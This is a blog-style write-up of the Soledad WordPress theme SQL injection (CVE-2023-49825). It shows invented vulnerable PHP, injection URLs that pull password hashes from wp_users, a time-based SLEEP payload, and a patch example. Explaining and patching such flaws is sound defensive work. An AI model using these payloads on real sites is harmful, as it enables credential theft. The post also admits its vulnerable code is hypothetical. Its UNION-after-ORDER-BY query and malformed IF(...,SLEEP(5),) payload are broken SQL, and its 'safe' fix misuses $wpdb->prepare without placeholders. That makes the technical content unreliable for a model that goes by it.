In late 2023, a critical vulnerability was discovered in the hugely popular PenciDesign Soledad WordPress Theme, identified as CVE-2023-49825. This flaw is an *SQL Injection* vulnerability, present in all releases of the theme up to version 8.4.1. Considering Soledad powers thousands of online magazines, blogs, and e-commerce stores (WooCommerce), this security issue has wide-reaching consequences.

This post provides an exclusive deep dive into the vulnerability. We’ll explain the root cause, demonstrate how an attacker can exploit it with code examples, and provide guidance on mitigating the risk.

What Is SQL Injection?

An SQL Injection happens when user-supplied data is not properly sanitized before being included in a database query. This allows an attacker to run arbitrary SQL commands, which may leak, corrupt, or delete data—or even allow full control of the web server.

You can read about SQL injection basics here.

About the Vulnerability: CVE-2023-49825

Affected Software:
Soledad – Multipurpose, Newspaper, Blog & WooCommerce WordPress Theme

Versions:
Unknown baseline through 8.4.1 (all versions before patch)

Vulnerability Type:
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Original Advisory and References:
- NVD - CVE-2023-49825
- Patchstack Security Advisory

Vulnerability Details

An input in the Soledad theme is not properly filtered before being interpolated into a SQL command. Attackers can submit malicious data through a vulnerable GET request parameter, which gets directly inserted into the query string.

The flaw allows anyone—including unauthenticated visitors—to interact with the database in unintended ways.

The real code may differ, but it typically looks like this in WordPress theme code

// Vulnerable PHP code inside the theme

$sort_by = $_GET['sort']; // No sanitization!
$query = "SELECT * FROM wp_posts WHERE post_type='product' ORDER BY $sort_by DESC LIMIT 20";
$results = $wpdb->get_results($query);

No check exists for the $sort_by parameter, so an attacker can supply anything—including SQL commands.

Suppose a site has an endpoint such as

https://victim.com/shop/?sort=ID

A normal user picks "ID" or "date" as the sort parameter. An attacker, however, could do

https://victim.com/shop/?sort=ID%20UNION%20SELECT%201,2,user_pass,4%20FROM%20wp_users

Injected SQL

SELECT * FROM wp_posts WHERE post_type='product' ORDER BY ID UNION SELECT 1,2,user_pass,4 FROM wp_users DESC LIMIT 20

This command could extract password hashes from the wp_users table and display them as part of the product query result. Depending on the page's rendering logic, an attacker could retrieve usernames, emails, password hashes, and even escalate to full admin takeover.

A safer way to demonstrate is using a time-based blind approach. Consider

https://victim.com/shop/?sort=ID%20AND%20(SELECT%20IF(1=1,SLEEP(5),))

If the page takes extra ~5 seconds to load, you know the injection worked.

Responsible Patching

The only safe way to fix this is to use *prepared statements* or at least strictly validate and whitelist the allowed values for the sort parameter.

Fixed Code Example

// Safe PHP code for order by user input
$allowed_sorts = ['ID', 'date', 'title'];
$sort_by = in_array($_GET['sort'], $allowed_sorts) ? $_GET['sort'] : 'ID';

$query = $wpdb->prepare(
    "SELECT * FROM wp_posts WHERE post_type='product' ORDER BY $sort_by DESC LIMIT 20"
);
$results = $wpdb->get_results($query);

How to Protect Yourself

1. Update Immediately: Get the latest secure version of Soledad from Themeforest or your theme provider.
2. Monitor Activity: If you used a vulnerable version, scrutinize logs for suspicious requests and data access.

Conclusion

CVE-2023-49825 demonstrates the ongoing risk even in premium, widely used WordPress themes. If your site uses Soledad, updating is non-negotiable. Attackers can and do exploit such vulnerabilities quickly—don’t delay your patch!

For more technical details, see the original advisory and the NVD entry.

Timeline

Published on: 12/20/2023 16:15:00 UTC
Last modified on: 12/26/2023 21:33:00 UTC